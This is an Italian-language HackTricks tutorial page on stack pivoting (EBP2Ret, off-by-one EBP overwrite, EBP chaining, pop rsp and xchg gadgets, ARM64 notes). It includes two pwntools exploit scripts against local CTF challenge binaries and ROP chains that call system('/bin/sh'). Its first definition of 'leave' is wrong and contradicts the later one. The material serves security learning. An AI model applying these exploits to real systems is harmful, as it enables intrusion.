mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
225 lines
9.8 KiB
Markdown
225 lines
9.8 KiB
Markdown
# Stack Pivoting - EBP2Ret - EBP chaining
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## Informazioni di base
|
|
|
|
Questa tecnica sfrutta la capacità di manipolare il **Base Pointer (EBP)** per concatenare l'esecuzione di più funzioni attraverso un uso attento del registro EBP e della sequenza di istruzioni **`leave; ret`**.
|
|
|
|
Per ricordare, **`leave`** significa fondamentalmente:
|
|
```
|
|
mov ebp, esp
|
|
pop ebp
|
|
ret
|
|
```
|
|
E come se l'**EBP è nello stack** prima dell'EIP, è possibile controllarlo controllando lo stack.
|
|
|
|
### EBP2Ret
|
|
|
|
Questa tecnica è particolarmente utile quando puoi **modificare il registro EBP ma non hai un modo diretto per cambiare il registro EIP**. Sfrutta il comportamento delle funzioni quando terminano l'esecuzione.
|
|
|
|
Se, durante l'esecuzione di `fvuln`, riesci a iniettare un **fake EBP** nello stack che punta a un'area in memoria dove si trova l'indirizzo del tuo shellcode (più 4 byte per tenere conto dell'operazione `pop`), puoi controllare indirettamente l'EIP. Quando `fvuln` restituisce, l'ESP è impostato su questa posizione creata, e l'operazione `pop` successiva diminuisce l'ESP di 4, **facendo effettivamente puntare a un indirizzo memorizzato dall'attaccante lì.**\
|
|
Nota come **devi conoscere 2 indirizzi**: Quello dove andrà l'ESP, dove dovrai scrivere l'indirizzo a cui punta l'ESP.
|
|
|
|
#### Costruzione dell'Exploit
|
|
|
|
Prima devi conoscere un **indirizzo dove puoi scrivere dati / indirizzi arbitrari**. L'ESP punterà qui e **eseguirà il primo `ret`**.
|
|
|
|
Poi, devi conoscere l'indirizzo utilizzato da `ret` che **eseguirà codice arbitrario**. Potresti usare:
|
|
|
|
- Un indirizzo valido [**ONE_GADGET**](https://github.com/david942j/one_gadget).
|
|
- L'indirizzo di **`system()`** seguito da **4 byte spazzatura** e l'indirizzo di `"/bin/sh"` (x86 bits).
|
|
- L'indirizzo di un gadget **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) seguito dal **shellcode** da eseguire.
|
|
- Alcuna catena [**ROP**](../rop-return-oriented-programing/)
|
|
|
|
Ricorda che prima di qualsiasi di questi indirizzi nella parte controllata della memoria, devono esserci **`4` byte** a causa della parte **`pop`** dell'istruzione `leave`. Sarebbe possibile abusare di questi 4B per impostare un **secondo fake EBP** e continuare a controllare l'esecuzione.
|
|
|
|
#### Off-By-One Exploit
|
|
|
|
C'è una variante specifica di questa tecnica nota come "Off-By-One Exploit". Viene utilizzata quando puoi **modificare solo il byte meno significativo dell'EBP**. In tal caso, la posizione di memoria che memorizza l'indirizzo a cui saltare con il **`ret`** deve condividere i primi tre byte con l'EBP, consentendo una manipolazione simile con condizioni più vincolate.\
|
|
Di solito viene modificato il byte 0x00 per saltare il più lontano possibile.
|
|
|
|
Inoltre, è comune utilizzare un RET sled nello stack e mettere la vera catena ROP alla fine per rendere più probabile che il nuovo ESP punti all'interno del RET SLED e che la catena ROP finale venga eseguita.
|
|
|
|
### **EBP Chaining**
|
|
|
|
Pertanto, mettendo un indirizzo controllato nell'entrata `EBP` dello stack e un indirizzo per `leave; ret` in `EIP`, è possibile **spostare l'`ESP` all'indirizzo `EBP` controllato dallo stack**.
|
|
|
|
Ora, l'**`ESP`** è controllato puntando a un indirizzo desiderato e la prossima istruzione da eseguire è un `RET`. Per abusare di questo, è possibile posizionare nel posto controllato dell'ESP questo:
|
|
|
|
- **`&(next fake EBP)`** -> Carica il nuovo EBP a causa di `pop ebp` dall'istruzione `leave`
|
|
- **`system()`** -> Chiamato da `ret`
|
|
- **`&(leave;ret)`** -> Chiamato dopo che il sistema termina, sposterà l'ESP al fake EBP e ricomincerà
|
|
- **`&("/bin/sh")`**-> Parametro per `system`
|
|
|
|
Fondamentalmente in questo modo è possibile concatenare diversi fake EBP per controllare il flusso del programma.
|
|
|
|
Questo è simile a un [ret2lib](../rop-return-oriented-programing/ret2lib/), ma più complesso senza apparenti vantaggi ma potrebbe essere interessante in alcuni casi limite.
|
|
|
|
Inoltre, qui hai un [**esempio di una sfida**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) che utilizza questa tecnica con una **stack leak** per chiamare una funzione vincente. Questo è il payload finale dalla pagina:
|
|
```python
|
|
from pwn import *
|
|
|
|
elf = context.binary = ELF('./vuln')
|
|
p = process()
|
|
|
|
p.recvuntil('to: ')
|
|
buffer = int(p.recvline(), 16)
|
|
log.success(f'Buffer: {hex(buffer)}')
|
|
|
|
LEAVE_RET = 0x40117c
|
|
POP_RDI = 0x40122b
|
|
POP_RSI_R15 = 0x401229
|
|
|
|
payload = flat(
|
|
0x0, # rbp (could be the address of anoter fake RBP)
|
|
POP_RDI,
|
|
0xdeadbeef,
|
|
POP_RSI_R15,
|
|
0xdeadc0de,
|
|
0x0,
|
|
elf.sym['winner']
|
|
)
|
|
|
|
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
|
|
|
|
payload += flat(
|
|
buffer, # Load leak address in RBP
|
|
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
|
|
)
|
|
|
|
pause()
|
|
p.sendline(payload)
|
|
print(p.recvline())
|
|
```
|
|
## EBP potrebbe non essere utilizzato
|
|
|
|
Come [**spiegato in questo post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), se un binario è compilato con alcune ottimizzazioni, l'**EBP non controlla mai l'ESP**, quindi, qualsiasi exploit che funziona controllando l'EBP fallirà fondamentalmente perché non ha alcun effetto reale.\
|
|
Questo perché i **prologhi ed epiloghi cambiano** se il binario è ottimizzato.
|
|
|
|
- **Non ottimizzato:**
|
|
```bash
|
|
push %ebp # save ebp
|
|
mov %esp,%ebp # set new ebp
|
|
sub $0x100,%esp # increase stack size
|
|
.
|
|
.
|
|
.
|
|
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
|
|
ret # return
|
|
```
|
|
- **Ottimizzato:**
|
|
```bash
|
|
push %ebx # save ebx
|
|
sub $0x100,%esp # increase stack size
|
|
.
|
|
.
|
|
.
|
|
add $0x10c,%esp # reduce stack size
|
|
pop %ebx # restore ebx
|
|
ret # return
|
|
```
|
|
## Altri modi per controllare RSP
|
|
|
|
### **`pop rsp`** gadget
|
|
|
|
[**In questa pagina**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) puoi trovare un esempio che utilizza questa tecnica. Per questa sfida era necessario chiamare una funzione con 2 argomenti specifici, e c'era un **`pop rsp` gadget** e c'è una **leak dallo stack**:
|
|
```python
|
|
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
|
|
# This version has added comments
|
|
|
|
from pwn import *
|
|
|
|
elf = context.binary = ELF('./vuln')
|
|
p = process()
|
|
|
|
p.recvuntil('to: ')
|
|
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
|
|
log.success(f'Buffer: {hex(buffer)}')
|
|
|
|
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
|
|
POP_RDI = 0x40122b
|
|
POP_RSI_R15 = 0x401229 # pop RSI and R15
|
|
|
|
# The payload starts
|
|
payload = flat(
|
|
0, # r13
|
|
0, # r14
|
|
0, # r15
|
|
POP_RDI,
|
|
0xdeadbeef,
|
|
POP_RSI_R15,
|
|
0xdeadc0de,
|
|
0x0, # r15
|
|
elf.sym['winner']
|
|
)
|
|
|
|
payload = payload.ljust(104, b'A') # pad to 104
|
|
|
|
# Start popping RSP, this moves the stack to the leaked address and
|
|
# continues the ROP chain in the prepared payload
|
|
payload += flat(
|
|
POP_CHAIN,
|
|
buffer # rsp
|
|
)
|
|
|
|
pause()
|
|
p.sendline(payload)
|
|
print(p.recvline())
|
|
```
|
|
### xchg \<reg>, rsp gadget
|
|
```
|
|
pop <reg> <=== return pointer
|
|
<reg value>
|
|
xchg <reg>, rsp
|
|
```
|
|
### jmp esp
|
|
|
|
Controlla la tecnica ret2esp qui:
|
|
|
|
{{#ref}}
|
|
../rop-return-oriented-programing/ret2esp-ret2reg.md
|
|
{{#endref}}
|
|
|
|
## Riferimenti e Altri Esempi
|
|
|
|
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
|
|
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
|
|
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
|
|
- 64 bit, sfruttamento off by one con una catena rop che inizia con un ret sled
|
|
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
|
|
- 64 bit, no relro, canary, nx e pie. Il programma concede una leak per stack o pie e un WWW di un qword. Prima ottieni la leak dello stack e usa il WWW per tornare e ottenere la leak del pie. Poi usa il WWW per creare un ciclo eterno abusando delle voci di `.fini_array` + chiamando `__libc_csu_fini` ([maggiori informazioni qui](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusando di questo "scrittura eterna", viene scritta una catena ROP nella .bss e si finisce per chiamarla pivotando con RBP.
|
|
|
|
## ARM64
|
|
|
|
In ARM64, i **prologhi e gli epiloghi** delle funzioni **non memorizzano e recuperano il registro SP** nello stack. Inoltre, l'istruzione **`RET`** non restituisce all'indirizzo puntato da SP, ma **all'indirizzo dentro `x30`**.
|
|
|
|
Pertanto, per impostazione predefinita, abusando semplicemente dell'epilogo **non sarai in grado di controllare il registro SP** sovrascrivendo alcuni dati all'interno dello stack. E anche se riesci a controllare lo SP, avresti comunque bisogno di un modo per **controllare il registro `x30`**.
|
|
|
|
- prologo
|
|
|
|
```armasm
|
|
sub sp, sp, 16
|
|
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
|
|
mov x29, sp // FP punta al record del frame
|
|
```
|
|
|
|
- epilogo
|
|
|
|
```armasm
|
|
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
|
|
add sp, sp, 16
|
|
ret
|
|
```
|
|
|
|
> [!CAUTION]
|
|
> Il modo per eseguire qualcosa di simile al pivoting dello stack in ARM64 sarebbe essere in grado di **controllare lo `SP`** (controllando qualche registro il cui valore viene passato a `SP` o perché per qualche motivo `SP` sta prendendo il suo indirizzo dallo stack e abbiamo un overflow) e poi **abusare dell'epilogo** per caricare il registro **`x30`** da un **`SP` controllato** e **`RET`** a esso.
|
|
|
|
Inoltre, nella pagina seguente puoi vedere l'equivalente di **Ret2esp in ARM64**:
|
|
|
|
{{#ref}}
|
|
../rop-return-oriented-programing/ret2esp-ret2reg.md
|
|
{{#endref}}
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|